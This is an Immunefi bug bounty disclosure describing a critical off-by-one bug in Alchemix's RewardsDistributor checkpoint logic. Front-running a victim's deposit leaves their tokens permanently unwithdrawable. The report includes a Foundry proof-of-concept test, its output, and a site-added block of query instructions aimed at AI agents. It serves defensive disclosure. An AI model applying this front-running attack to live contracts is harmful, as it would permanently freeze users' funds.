# 31076 - \[SC - Critical] checkpointTotalSupply can checkpoint before a t... Submitted on May 12th 2024 at 10:57:42 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/) Report ID: #31076 Report type: Smart Contract Report severity: Critical Target: Impacts: * Permanent freezing of funds ## Description ## Brief/Intro The `checkpointTotalSupply()` function is in the `RewardsDistributor` and is callable by anyone. The function has an incorrect comparison of `>` instead of `>=`, and this can lead to a checkpoint being recorded when a timestamp is not yet complete. This leads to mistakes in the internal accounting. In the worst case, a user can never successfully `claim()` again, which permanently freezes their `BPT` tokens that have been deposited into `veALCX`. ## Vulnerability Details The implementation of `_checkpointTotalSupply()` is as follows: ```solidity function _checkpointTotalSupply() internal { address ve = votingEscrow; uint256 t = timeCursor; uint256 roundedTimestamp = (block.timestamp / WEEK) * WEEK; IVotingEscrow(ve).checkpoint(); for (uint256 i = 0; i < 20; i++) { if (t > roundedTimestamp) { break; } else { veSupply[t] = IVotingEscrow(ve).totalSupplyAtT(t); } t += WEEK; } timeCursor = t; } ``` Notice that whenever `veSupply[t]` is assigned to a value, the `t += WEEK` increment happens immediately after, which permanently progresses the cursor so that `veSupply[t]` will never be assigned to again. Also, notice that the `veSupply[t]` assignment is only skipped if `t > roundedTimestamp`. This is incorrect. It should also be skipped if `t == roundedTimestamp`, otherwise this code can record the `totalSupplyAtT()` value before the timestamp itself is complete. This means the check should actually be: `if (t >= roundedTimestamp)`. ## Impact Details In the scenario when `t == roundedTimestamp`, the code will incorrectly cache the `totalSupplyAtT()` of the current timestamp early. Any actions taken in `veALCX` after this (but on the same timestamp) will not be reflected in the `veSupply[]` value. On the other hand, the `_claimable()` function will correctly account for these last-second actions in each individual `tokenId`. As a result, it is possible for the `balanceOf` value below to contain deposits that did not contribute to the `veSupply[weekCursor]` value: ```solidity if (balanceOf != 0) { toDistribute += (balanceOf * tokensPerWeek[weekCursor]) / veSupply[weekCursor] } ``` In the worst-case scenario, the first user of `VotingEscrow` can end up in a situation where `veSupply[weekCursor] == 0` and `balanceOf > 0`. In this case, the `claim()` function will revert due to a division by zero, and it will permanently fail to progress past the broken week. Since the `withdraw()` function in the `veALCX` contract has the following code: ```soldidity IRewardsDistributor(distributor).claim(_tokenId, false); ``` it will always revert on this line, and users will be in a state where they are permanently unable to withdraw their `BPT` tokens. See the PoC for an example. ## References See the PoC below. ## Proof of Concept I have created the following test file and added it to the `tests/` directory: ```solidity // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.15; import "./BaseTest.sol"; contract CheckpointBugTest is BaseTest { address victim = admin; constructor() { setupContracts(block.timestamp); } function testCheckpointTotalSupplyBugFreezing() public { uint256 ts = ((block.timestamp + 1 weeks) / 1 weeks) * 1 weeks; hevm.warp(ts); // If a victim is about to deposit, frontrunning and checkpointing them // will store `veSupply[ts] == 0`. This is especially a risk if block builders // aren't currently accepting the victim tx's priority fee, so there's a large window // of time where the user's tx is in the mempool but not on-chain. This may also just // happen by accident. distributor.checkpointTotalSupply(); uint256 tokenId = createVeAlcx(victim, TOKEN_100K, MAXTIME, false); console.log("The following state implies that `claim()` will permanently divide by 0:"); console.log("ts", ts); console.log("distributor.timeCursor()", distributor.timeCursor()); console.log("distributor.veSupply(ts)", distributor.veSupply(ts)); console.log("veALCX.totalSupplyAtT(ts)", veALCX.totalSupplyAtT(ts)); hevm.warp(newEpoch()); voter.distribute(); vm.expectRevert(); distributor.claimable(tokenId); hevm.warp(veALCX.lockEnd(tokenId)); vm.startPrank(victim); veALCX.startCooldown(tokenId); hevm.warp(block.timestamp + 1 weeks); // Now their BPT is permanently stuck since all calls to `claim()` will revert due to // a division by 0. It shouldn't have allowed `veSupply[ts] == 0` to be checkpointed // because the timestamp wasn't over yet. vm.expectRevert(); veALCX.withdraw(tokenId); vm.stopPrank(); } } ``` Running the command `forge test -vvv --match-test testCheckpointTotalSupplyBugFreezing --rpc-url $ETH_RPC_URL` gives the following result: ``` [PASS] testCheckpointTotalSupplyBugFreezing() (gas: 25610541) Logs: The following state implies that `claim()` will permanently divide by 0: ts 1715817600 distributor.timeCursor() 1716422400 distributor.veSupply(ts) 0 veALCX.totalSupplyAtT(ts) 199452054794520538483200 ``` which shows that the user's attempt to call `withdraw()` indeed reverts and their deposited `BPT` tokens are permanently frozen. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://reports.immunefi.com/alchemix/31076-sc-critical-checkpointtotalsupply-can-checkpoint-before-a-t....md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.